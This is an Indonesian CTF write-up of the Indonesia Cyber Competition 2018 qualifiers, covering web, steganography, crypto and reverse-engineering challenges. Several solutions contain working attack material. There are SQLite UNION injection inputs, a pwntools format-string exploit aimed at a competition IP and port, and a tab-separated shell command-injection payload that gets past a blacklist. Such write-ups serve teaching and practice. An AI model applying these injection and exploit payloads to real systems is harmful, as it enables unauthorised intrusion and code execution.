Indonesia Cyber Competition 2018

CTF Write Up – Penyisihan

Do not cheat

Pada soal ini diberikan sebuah halaman web dengan embedded JavaScript di dalamnya.

```
var canvas = document.getElementById("canvas"),
    ctx = canvas.getContext("2d"),
    canvas2 = document.getElementById("canvas2"),
    ctx2 = canvas2.getContext("2d"),
    cw = window.innerWidth,
    ch = window.innerHeight,
    charArr = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"],
    maxCharCount = 100,
    fallingCharArr = [],
    fontSize = 10,
    maxColums = cw / fontSize;
canvas.width = canvas2.width = cw, canvas.height = canvas2.height = ch;
var keyCodes = [],
    secretstroke = "38,38,40,40,37,39,37,39,66,65";

function randomInt(t, n) {
    return Math.floor(Math.random() * (n - t) + t)
}

function randomFloat(t, n) {
    return Math.random() * (n - t) + t
}

function Point(t, n) {
    this.x = t, this.y = n
}
$(document).keydown(function(t) {
    keyCodes.push(t.keyCode), 0 <= keyCodes.toString().indexOf(secretstroke) &&
($(document).unbind("keydown", arguments.callee), $.post("flag.php", function(t)
{
        alert(t)
    }))
}), Point.prototype.draw = function(t) {
    this.value = charArr[randomInt(0, charArr.length - 1)].toUpperCase(),
this.speed = randomFloat(1, 5), ctx2.fillStyle = "rgba(255,255,255,0.8)",
```

```
ctx2.font = fontSize + "px san-serif", ctx2.fillText(this.value, this.x, this.y),
t.fillStyle = "#0F0", t.font = fontSize + "px san-serif", t.fillText(this.value,
this.x, this.y), this.y += this.speed, this.y > ch && (this.y = randomFloat(-100,
0), this.speed = randomFloat(2, 5))
};
for (var i = 0; i < maxColums; i++) fallingCharArr.push(new Point(i * fontSize,
randomFloat(-500, 0)));
var update = function() {
    ctx.fillStyle = "rgba(0,0,0,0.05)", ctx.fillRect(0, 0, cw, ch),
ctx2.clearRect(0, 0, cw, ch);
    for (var t = fallingCharArr.length; t--;) {
        fallingCharArr[t].draw(ctx);
        fallingCharArr[t]
    }
    requestAnimationFrame(update)
};
update();
```

Pada saat kita menekan tombol, maka tombol yang ditekan akan masuk ke array keyCodes. Kemudian, keseluruhan isi array keyCodes akan dibandingkan dengan isi array secretstroke. Dengan demikian kita dapat menekan tombol yang akan menghasilkan event seperti pada secretstroke. Setelah itu kita dapat mendapatkan flagnya pada alertbox.

Flag: `IDCC{0nlY_th3_we4K_che4T}`

Pesanan kedua

Pada soal diberikan web application dengan fungsionalitas registrasi pengguna, pengecekan profil pengguna yang berisi kode pengguna serta tanggal pembuatan, serta pengubahan username pengguna.

Kode pada profil pengguna merupakan encoding Base64 dari sebuah angka. Angka tersebut merupakan representasi detik dari tanggal pembuatan pengguna.

Pada fungsi edit pengguna, ditemukan bahwa SQLi dapat dilakukan sehingga membuat halaman profil pengguna mengembalikan error. Berikut adalah masukkan yang diberikan pada fungsi edit pengguna: “`#`

Dengan mengganti “`#` menjadi “-- halaman profil kembali memberikan HTML. Hasil dari SQLi dapat dilihat dari komentar pada HTML yang diberikan oleh server.

Karena username tidak bisa menggunakan spasi, maka kita ganti spasi menjadi tab. Untuk mencari tahu engine yang digunakan, gunakan “`union select sqli_version()` kita dapat mengetahui bahwa engine yang digunakan adalah SQLite versi 3. Maka, kita dapat mengetahui table yang tertera dengan menggunakan “`union select name from sqlite_master`

Dari hasil query diatas ditemukan terdapat tabel `users_regizt`. Pada tabel tersebut terdapat username dengan tanggal pembuatan yang tidak seharusnya, yakni pada tanggal 1990-09-09 09:09:09. Base64 encode tanggal tersebut dalam representasi detik kemudian validasi untuk mendapatkan flag.

Flag: `IDCC{n1c3_one_th1z_iz_Sec0nD_0rdEr_Sqli}`

Secret Message

Pada soal ini diberikan 2 buah file bernama stored.jpg dan password.jpg. Dengan menggunakan stegsolve kita dapat menemukan sebuah string hexadecimal yang merupakan representasi hexadecimal dari “L33tMeIn” (meski agak susah untuk dibaca).

Lalu dengan menggunakan steghide, kita dapat mengekstrak data yang terdapat pada stored.jpg yang berisi `5uperBStr0ngP4ass`

```
$ steghide --extract -sf stored.jpg -p L33tMeIn
wrote extracted data to "password.txt".
$ cat password.txt
5uperBStr0ngP4ass
```

Gunakan password tersebut pada password.jpg

```
$ steghide --extract -sf password.jpg -p 5uperBStr0ngP4ass
```

```
wrote extracted data to "flag.txt".
$ cat flag.txt
IDCC{Ch4in1nG_5teg0_p4ssW0rD_}
```

Flag: `IDCC{Ch4in1nG_5teg0_p4ssW0rD_}`

MPPPssst

Pada soal ini diberikan sebuah gambar yang memiliki link ke sebuah pastebin. Pada pastebin tersebut berisi apa yang seperti output dari program steganography.

```
Doing it boss!
Spreading level: 16286
Header wrote
File has been saved as: telordardarrr.mp3
Hiding process has finished successfully.
Cleaning memory...
```

Namun setelah saya google masih tetap tidak menemukan apa alat yang digunakan. Lalu saya hanya melakukan pencarian tools stegano pada MP3. Pada saat saya menemukan AudioStego, saya menemukan string Doing it boss!. Ekstraksi menggunakan AudioStego menghasilkan flag.

Flag: `IDCC{st3Gano_s0und_n_h1d3}`

EzPz

Pada soal ini diberikan sebuah flag yang sudah diencode serta binary yang mengencode flag tersebut. Binary tersebut merupakan hasil kompilasi GHC. Namun, yang lebih menarik adalah program tersebut tidak menerima input (baik stdin maupun file). Saat dicoba dijalankan menggunakan ltrace, terlihat bahwa program tersebut menggunakan argv[0] sebagai inputnya.

Setelah dicoba-coba dengan beberapa input, dapat terlihat bahwa argv[0] diencode dengan menggunakan Base64, namun dengan pemetaan simbol yang berbeda. Karena itu, kita dapat mengembalikan flag semula dengan merekonstruksi mapping simbol.

Berikut script yang digunakan untuk rekonstruksi mapping simbol (beserta flagnya).

```
import itertools
import string
from pwn import *

def bit2chr(bits):
    l = 0
    for c in bits:
        l <<= 1
        l += ord(c)-ord('0')
    return chr(l)

mapping = {}
for c in range(1,64):
    for i in range(4):
        bits = '010000010100000101000001'
        this = '{0:08b}'.format(c)[-6:]
        bits = bits[:6*i] + this + bits[-(18-6*i):]
        if (len(bits) == 48):
            bits = bits[:24]
        assert(len(bits) == 24)
        arg0 = bit2chr(bits[0:8]) + bit2chr(bits[8:16]) + bit2chr(bits[16:24])
        fail = 0
        for ch in arg0:
            if ord(ch) == 0 or ord(ch) > 0x7f:
                fail = 1
        if fail:
            continue

        p = process([arg0], executable='./EzPz')
        resp = p.recvall().strip()[1:-1]

        if len(resp) > 0 and len(resp) <= 4:
            print(resp, i, bits)
            mapping[resp[i]] = '{0:08b}'.format(c)[-6:]

mapping['5'] = '111101'
flag = "c=/2HsfweAeTCz]!V@alV@pz9??$eYjQVz&ln<z5"

flag_6bits = ''.join([mapping[orig] for orig in flag])

ans = []
for i in range(len(flag_6bits)):
```

```
    chunk = flag_6bits[8*i:8*i+8]
    b = bit2chr(chunk)
    ans.append(b)
    print(''.join(ans))

print(''.join(ans))
```

Perlu diperhatikan bahwa argv[0] tidak dapat menerima charset dengan nilai 0x00 atau > 0x7f. Maka, untuk dapat merekonstruksi semuanya pemetaan simbol, kita perlu mengakalinya dengan menggunakan 3 byte argv[0]. Dengan demikian, apabila kita membutuhkan mapping yang akan menghasilkan karakter pada argv[0] di luar jangkauan, kita dapat mencoba posisi lainnya.

Flag: `IDCC{h4sk3Ll_i5_l4zY_4nD_Fun}`

BabyShark

Pada soal ini diberikan sebuah binary yang merupakan hasil kompilasi dari DLang. Menurut soal, flag tersebut terbentuk pada saat kompilasi. Maka seharusnya terdapat fungsi yang membentuk flag tersebut pada binary.

Karena binary tidak stripped, maka kita dapat mencari fungsi” yang memiliki nama babyshark dengan menggunakan radare2.

```
[0x0044a810]> is~babyshark
042 0x00000000 0x00400000  LOCAL   FILE    0 babyshark.d
2295 0x000672dc 0x004672dc   WEAK   FUNC  202
_D9babyshark__T3encVAyaa9_333333333333333333ZQBeFNaNfQBhZQBl
2305 0x0005a7a8 0x0045a7a8   WEAK   FUNC  202
_D9babyshark__T3encVAyaa6_373837383738ZQyFNaNfQBaZQBe
2309 0x00057574 0x00457574   WEAK   FUNC  202
_D9babyshark__T3encVAyaa6_313531353135ZQyFNaNfQBaZQBe
2310 0x00068f8c 0x00468f8c   WEAK   FUNC  202
_D9babyshark__T3encVAyaa9_333639333639333639ZQBeFNaNfQBhZQBl
2315 0x0006232c 0x0046232c   WEAK   FUNC  202
_D9babyshark__T3encVAyaa9_323333323333323333ZQBeFNaNfQBhZQBl
2317 0x000657c4 0x004657c4   WEAK   FUNC  202
_D9babyshark__T3encVAyaa9_323939323939323939ZQBeFNaNfQBhZQBl
2319 0x00057ca0 0x00457ca0   WEAK   FUNC  202
_D9babyshark__T3encVAyaa6_323432343234ZQyFNaNfQBaZQBe
```

Setelah melihat beberapa fungsi yang tertera, semua fungsi tersebut memiliki struktur yang sama. Salah satu fungsi memiliki hasil disassembly sebagai berikut

```
|           0x00465890      55             push rbp
|           0x00465891      488bec         mov rbp, rsp
|           0x00465894      4881eca00000.  sub rsp, 0xa0
|           0x0046589b      48899d68ffff.  mov qword [local_98h], rbx
|           0x004658a2      48897df0       mov qword [local_10h], rdi  ; arg1
|           0x004658a6      488975f8       mov qword [local_8h], rsi   ; arg2
|           0x004658aa      e8b1f5feff     call
sym._D3std4conv__T2toTiZ__TQjTmZQoFNaNfmZi
|           0x004658af      888570ffffff   mov byte [local_90h], al
|           0x004658b5      488d0d34db03.  lea rcx, obj._TMP0          ; 0x4a33f0
|           0x004658bc      31c0           xor eax, eax
|           0x004658be      48894580       mov qword [local_80h], rax
|           0x004658c2      48894d88       mov qword [local_78h], rcx
|           0x004658c6      488d1560ef03.  lea rdx, str.300300300      ;
obj._TMP1182 ; 0x4a482d ; "300300300"
|           0x004658cd      be09000000     mov esi, 9
|           0x004658d2      488d7dc0       lea rdi, [local_40h]
|           0x004658d6      e81df6feff     call
sym._D3std5range__T5cycleTAyaZQlFNaNbNiNfQpZSQBnQBm__T5CycleTQBjZQl
|           0x004658db      4889c3         mov rbx, rax
|           0x004658de      ff7318         push qword [rbx + 0x18]
|           0x004658e1      ff7310         push qword [rbx + 0x10]
|           0x004658e4      ff7308         push qword [rbx + 8]
|           0x004658e7      ff33           push qword [rbx]
|           0x004658e9      488b55f8       mov rdx, qword [local_8h]
|           0x004658ed      488b75f0       mov rsi, qword [local_10h]
|           0x004658f1      488d7d90       lea rdi, [local_70h]
|           0x004658f5      e87ef8feff     call
sym._D3std5range__T3zipTSQtQr__T5CycleTAyaZQlTQhZQBeFNaNbNiNfQBlQzZSQCkQCj__T11Zip
ShortestVEQDi8typecons__T4FlagVQCwa18_616c6c4b6
|           0x004658fa      4883c420       add rsp, 0x20
|           ; CODE XREF from
sym._D9babyshark__T3encVAyaa9_333030333030333030ZQBeFNaNfQBhZQBl (0x465947)
|       .-> 0x004658fe      488d7d90       lea rdi, [local_70h]
|       :   0x00465902      e829f9feff     call fcn.00455230
|       :   0x00465907      3401           xor al, 1
|      ,==< 0x00465909      743e           je 0x465949
|      |:   0x0046590b      488d7d90       lea rdi, [local_70h]
|      |:   0x0046590f      e8e0f9feff     call fcn.004552f4
|      |:   0x00465914      488945e8       mov qword [local_18h], rax
|      |:   0x00465918      488d45e8       lea rax, [local_18h]
|      |:   0x0046591c      488945e0       mov qword [local_20h], rax
|      |:   0x00465920      488b4de0       mov rcx, qword [local_20h]
|      |:   0x00465924      488d5104       lea rdx, [rcx + 4]          ; 4
|      |:   0x00465928      8b30           mov esi, dword [rax]
|      |:   0x0046592a      3332           xor esi, dword [rdx]
|      |:   0x0046592c      0fb69d70ffff.  movzx ebx, byte [local_90h]
|      |:   0x00465933      33f3           xor esi, ebx
|      |:   0x00465935      488d7d80       lea rdi, [local_80h]
```

```
|      |:   0x00465939      e8f2010100     call sym._d_arrayappendcd
|      |:   0x0046593e      488d7d90       lea rdi, [local_70h]
|      |:   0x00465942      e809fafeff     call fcn.00455350
|      |`=< 0x00465947      ebb5           jmp 0x4658fe
|      |    ; CODE XREF from
sym._D9babyshark__T3encVAyaa9_333030333030333030ZQBeFNaNfQBhZQBl (0x465909)
|      `--> 0x00465949      488b5588       mov rdx, qword [local_78h]
|           0x0046594d      488b4580       mov rax, qword [local_80h]
|           0x00465951      488b9d68ffff.  mov rbx, qword [local_98h]
|           0x00465958      c9             leave
\           0x00465959      c3             ret
```

Terlihat bahwa fungsi tersebut melakukan xor pada suatu input. Setelah mencari cross reference dari fungsi" tersebut, ditemukan bahwa seluruh fungsi tersebut dipanggil oleh fungsi dengan simbol `sym._D9babyshark7encryptFNaNfAyaZQe` pada radare2 karena fungsi tersebut mengandung address `0x44b76a`.

```
[0x0044a810]> axt @
sym._D9babyshark__T3encVAyaa9_3333333333333333ZQBeFNaNfQBhZQBl
(nofunc) 0x44b76a [CALL] call
sym._D9babyshark__T3encVAyaa9_3333333333333333ZQBeFNaNfQBhZQBl
```

Karena isi dari fungsi tersebut hanya memanggil fungsi" yang melakukan xor tadi, maka kita dapat memanggil fungsi itu lagi untuk mengembalikkan flagnya. Kita dapat melakukan hal tersebut dengan mengubah address tujuan pada fungsi main.

Berikut adalah disassembly fungsi main.

```
0x0044bf30      55             push rbp
|           0x0044bf31      488bec         mov rbp, rsp
|           0x0044bf34      4883ec10       sub rsp, 0x10
|           0x0044bf38      488d0de37405.  lea rcx,
str.Flagnya_sudah_terenkripsi_dengan_aplikasi_ini:       ; obj._TMP3 ; 0x4a3422 ;
"Flagnya sudah terenkripsi dengan aplikasi ini: "
|           0x0044bf3f      b82f000000     mov eax, 0x2f               ; '/' ; 47
|           0x0044bf44      4889c2         mov rdx, rax
|           0x0044bf47      488955f0       mov qword [local_10h], rdx
|           0x0044bf4b      48894df8       mov qword [local_8h], rcx
|           0x0044bf4f      64488b042500.  mov rax, qword fs:[0]
|           0x0044bf58      480305396027.  add rax, qword [0x006c1f98]
|           0x0044bf5f      488b5008       mov rdx, qword [rax + 8]       ;
[0x8:8]=-1 ; 8
|           0x0044bf63      488b38         mov rdi, qword [rax]
|           0x0044bf66      4889d6         mov rsi, rdx
|           0x0044bf69      e826ffffff     call
sym._D9babyshark9hexencodeFAyaZQe ;[2]
|           0x0044bf6e      4889c7         mov rdi, rax
|           0x0044bf71      488b4df8       mov rcx, qword [local_8h]
|           0x0044bf75      4889d6         mov rsi, rdx
|           0x0044bf78      488b55f0       mov rdx, qword [local_10h]
```

```
|           0x0044bf7c      e88b430200     call
sym._D3std5stdio__T7writelnTAyaTQeZQqFNfQmQoZv ;[3]
|           0x0044bf81      488d15ca7405.  lea rdx,
str.Pembuatannya_dilakukan_pada_waktu_kompilasi_:       ; obj._TMP4 ; 0x4a3452 ;
"Pembuatannya dilakukan pada waktu kompilasi :)"
|           0x0044bf88      bf2e000000     mov edi, 0x2e               ; '.' ; 46
|           0x0044bf8d      4889d6         mov rsi, rdx
|           0x0044bf90      e85b480200     call
sym._D3std5stdio__T7writelnTAyaZQnFNfQjZv ;[4]
|           0x0044bf95      488d15e57405.  lea rdx,
str.Bisakah_kamu_mengembalikan_Flagnya      ; obj._TMP5 ; 0x4a3481 ; "Bisakah
kamu mengembalikan Flagnya?"
|           0x0044bf9c      bf23000000     mov edi, 0x23               ; '#' ; 35
|           0x0044bfa1      4889d6         mov rsi, rdx
|           0x0044bfa4      e847480200     call
sym._D3std5stdio__T7writelnTAyaZQnFNfQjZv ;[4]
|           0x0044bfa9      31c0           xor eax, eax
|           0x0044bfab      c9             leave
\           0x0044bfac      c3             ret
```

Pada saat program baru saja memasuki fungsi `sym._D9babyshark9hexencodeFAyaZQe`, kita dapat mengubah nilai rip menjadi `0x44a908` (alamat `sym._D9babyshark7encryptFNaNfAyaZQe`). Setelah itu kita dapat menginspeksi memory yang ditunjuk oleh `rdx` untuk mendapatkan flagnya.

Flag: `IDCC{m3ta_pR0gramm1n9_t3mpl4te_i5_g00d_4_u}`

Freedom

Pada soal ini diberikan sebuah file `image.img`. Dengan melihat hasil strings dari file tersebut, terlihat bahwa terdapat dua buah fungsi Lua.

```
function IllIlllIllIlllIlllIlllIll(IllIlllIllIllIll) if
(IllIlllIllIllIll==(((((919 + 636)-636)*3147)/3147)+919)) then return not true end
if (IllIlllIllIllIll==(((((968 + 670)-670)*3315)/3315)+968)) then return not false
end end; local IIllllIIllll = (7*3-9/9+3*2/0+3*3);local IIlllIIlllIIlllIIlllII =
(3*4-7/7+6*4/3+9*9);local IllIIIllIIIIllI = table.concat;function
IllIIIIIlIIIII(IIllllIIllll) function IIllllIIllll(IIllllIIllll) function
IIllllIIllll(IllIlllIllllI) end end end;IllIIIIIlIIIII(900283);function
IllIlllIllIlllIlllIlllIlllIlllIIIlll(IIllllIIlllIIlllIIlllII) function
IIllllIIllll(IllIlllIllllI) local IIllllIIlllIIlllIIlllII = (9*0-7/5+3*1/3+8*2) end
end;IllIlllIllIlllIlllIlllIlllIlllIIIlll(9083);local IllIIllIIllIII =
loadstring;local IlIIlIlIlIIlIlIlII = {'\45','\45','\47','\47','\32','\68','\
101','\99','\111','\109','\112','\105','\108','\101','\100','\32','\67','\111','\
100','\101','\46','\32','\10','\102','\117','\110','\99','\116','\105','\111','\
110','\32','\102','\105','\108','\101','\95','\101','\120','\105','\115','\116','\
115','\40','\110','\97','\109','\101','\41','\10','\32','\32','\32','\114','\
101','\113','\117','\105','\114','\101','\32','\34','\110','\105','\120','\105','\
111','\46','\102','\115','\34','\10','\114','\101','\113','\117','\105','\114','\
101','\32','\34','\105','\111','\34','\10','\10','\108','\111','\99','\97','\
108','\32','\102','\61','\105','\111','\46','\111','\112','\101','\110','\40','\
34','\47','\114','\111','\111','\116','\47','\110','\111','\116','\101','\115','\
46','\116','\120','\116','\34','\44','\34','\114','\34','\41','\10','\105','\
102','\32','\102','\126','\61','\110','\105','\108','\32','\116','\104','\101','\
110','\10','\112','\114','\105','\110','\116','\40','\34','\102','\108','\97','\
103','\34','\41','\10','\101','\108','\115','\101','\10','\112','\114','\105','\
110','\116','\40','\34','\87','\101','\32','\97','\108','\108','\32','\108','\
105','\118','\101','\32','\101','\118','\101','\114','\121','\32','\100','\97','\
121','\32','\105','\110','\32','\118','\105','\114','\116','\117','\97','\108','\
32','\101','\110','\118','\105','\114','\111','\110','\109','\101','\110','\
116','\115','\44','\32','\100','\101','\102','\105','\110','\101','\100','\32','\
98','\121','\32','\111','\117','\114','\32','\105','\100','\101','\97','\115','\
46','\34','\32','\41','\10','\101','\110','\100','\
10',}IlIIIlIIIlIIII(IlIIIIlIIIIIlI(IlIlIlIlIlIlIlIlII,IIIIIIIIllllllllIIIIIII))
()
```

```
function IllIlllIllIlllIlllIlllIll(IllIlllIllIllIll) if
(IllIlllIllIllIll==(((((919 + 636)-636)*3147)/3147)+919)) then return not true end
if (IllIlllIllIllIll==(((((968 + 670)-670)*3315)/3315)+968)) then return not false
end end; local IIllllIIllll = (7*3-9/9+3*2/0+3*3);local IIlllIIlllIIlllIIlllII =
(3*4-7/7+6*4/3+9*9);local IllIIIllIIIIllI = table.concat;function
IllIIIIIlIIIII(IIllllIIllll) function IIllllIIllll(IIllllIIllll) function
IIllllIIllll(IllIlllIllllI) end end end;IllIIIIIlIIIII(900283);function
IllIlllIllIlllIlllIlllIlllIlllIIIlll(IIllllIIlllIIlllIIlllII) function
IIllllIIllll(IllIlllIllllI) local IIllllIIlllIIlllIIlllII = (9*0-7/5+3*1/3+8*2) end
end;IllIlllIllIlllIlllIlllIlllIlllIIIlll(9083);local IllIIllIIllIII =
```

```
loadstring;local IlIlIlIlIlIlIlIlII = {'\45','\45','\47','\47','\32','\68','\
101','\99','\111','\109','\112','\105','\108','\101','\100','\32','\67','\111','\
100','\101','\46','\32','\10','\114','\101','\113','\117','\105','\114','\101','\
32','\34','\110','\105','\120','\105','\111','\46','\102','\115','\34','\10','\
114','\101','\113','\117','\105','\114','\101','\32','\34','\105','\111','\34','\
10','\10','\32','\32','\32','\108','\111','\99','\97','\108','\32','\102','\61','\
105','\111','\46','\111','\112','\101','\110','\40','\34','\47','\114','\111','\
111','\116','\47','\110','\111','\116','\101','\115','\46','\116','\120','\116','\
34','\44','\34','\114','\34','\41','\10','\32','\32','\32','\105','\102','\32','\
102','\126','\61','\110','\105','\108','\32','\116','\104','\101','\110','\32','\
10','\32','\32','\32','\112','\114','\105','\110','\116','\40','\34','\73','\
68','\67','\67','\123','\79','\112','\101','\110','\87','\82','\84','\105','\
53','\57','\48','\48','\68','\33','\125','\34','\41','\10','\10','\32','\32','\
32','\101','\108','\115','\101','\32','\10','\32','\32','\32','\112','\114','\
105','\110','\116','\40','\34','\87','\101','\32','\97','\108','\108','\32','\
108','\105','\118','\101','\32','\101','\118','\101','\114','\121','\32','\100','\
97','\121','\32','\105','\110','\32','\118','\105','\114','\116','\117','\97','\
108','\32','\101','\110','\118','\105','\114','\111','\110','\109','\101','\
110','\116','\115','\44','\32','\100','\101','\102','\105','\110','\101','\100','\
32','\98','\121','\32','\111','\117','\114','\32','\105','\100','\101','\97','\
115','\46','\34','\41','\10','\10','\32','\32','\32','\101','\110','\100','\
10',}IlllIIllIIllIII(IllIIIIllIIIIllI(IlIlIlIlIlIlIlIlII,IIIIIIIIllllllllIIIIIII))
()
```

Kita dapat mengganti statement terakhir yang akan melakukan `loadstring` menjadi `print`. Apabila kita menjalankan kedua fungsi tersebut, maka kita akan mendapatkan script Lua lain.

Fungsi Lua pertama akan menghasilkan script yang tidak memberikan informasi apa-apa. Sedangkan fungsi satunya akan menghasilkan script Lua yang melakukan print flag.

```
--// Decompiled Code.
function file_exists(name)
   require "nixio.fs"
require "io"

local f=io.open("/root/notes.txt","r")
if f~=nil then
print("flag")
else
print("We all live every day in virtual environments, defined by our ideas." )
end


--// Decompiled Code.
require "nixio.fs"
require "io"

   local f=io.open("/root/notes.txt","r")
```

```
if f~=nil then
print("IDCC{OpenWRTi5900D!}")

else
print("We all live every day in virtual environments, defined by our ideas.")

end
```

Flag: `IDCC{OpenWRTi5900D!}`

Note: Sepertinya cara seharusnya meminta peserta melakukan mount image tersebut. Namun, demi keamanan (dan karena saya malas), saya tidak melakukan mount.

DecryptME

Pada soal ini diberikan sebuah file algoritma enkripsi dalam Python serta hasil enkripsinya. Algoritma enkripsi menggunakan Vigenere Cipher hanya saja menggunakan operasi tambah bukan xor.

Untuk merecover kunci, kita dapat menggunakan knownplaintext yaitu `IDCC{`. Hasilnya merupakan `rajara`. Hmm, sepertinya kuncinya adalah `raja`, `ra` berikutnya merupakan pengulanan kunci. Dekripsi menggunakan kunci tersebut menghasilkan flag.

Berikut adalah script yang digunakan untuk pendekripsian

```
from base64 import *
kpt = 'SURDQ3'
cipher = open('./enkripsi', 'rb').read()

keys = []
for i,c in enumerate(kpt):
    keys.append( (cipher[i]-ord(c) + 127) % 127 )

print(keys)

plain = []
for i,c in enumerate(cipher):
    plain.append( ( c - keys[i % 4] + 127 ) % 127 )

print(b64decode(''.join([chr(c) for c in plain])))
```

Flag: `IDCC{S1mpl3_4nd_stR4ight}`

OldCrypt

Pada soal ini diberikan kunci dan sebuah ciphertext. Pada kunci terdapat string 404 yang bisa dibuang. Terlihat bahwa kunci tersebut merupakan substitusi alfabet. Cukup ganti karakter pada posisi tertentu dengan karakter yang seharusnya untuk mendapatkan flagnya (pastikan case tetap terjaga).

Flag: `IDCC{y0u_Pwn3D_m3_n1Ce}`

Format Play

Pada soal diberikan sebuah binary yang menggunakan input pengguna sebagai format string. Selain itu, program akan memberikan flag apabila sebuah nilai global variable menjadi 0xBEEF. Maka, cukup tulis kedua byte tersebut menggunakan format string.

Berikut script yang digunakan untuk melakukan exploitasi tersebut.

```
from pwn import *

p = remote('178.128.106.125', 13373)

p.sendline(pack(0x804a034) + pack(0x804a035) + '%{}c'.format(0xEF-0x8) + '%7$hhn'
+ '%{}c'.format(0x100+0xBE-0xEF) + '%8$hhn')

p.interactive()
```

Flag: `IDCC{M4nipulat1n9_F0rm4t_for_pR0f1T_$$$}`

Password Generation

Pada soal diberikan sebuah endpoint yang menerima input pengguna dan memberikan string random berdasarkan input tersebut. Apabila kita memberikan input karakter, maka dapat terlihat bahwa program akan menggunakan input dari pengguna sebagai panjang karakter string tersebut dengan menggunakan perintah fold. Karena input diparse oleh sebuah shell, maka kita dapat melakukan command injection.

Namun, beberapa karakter seperti spasi diblacklist. Selain itu terdapat limitasi karakter sebesar 8. Meskipun karakter spasi diblacklist, kita tetap dapat menggunakan tab sebagai pemisah argumen.

Input berikut dapat digunakan untuk mendapatkan flag: `` '`sh	*`' ``

Flag: `IDCC{Br3ak_Y0urZ_LImIT}`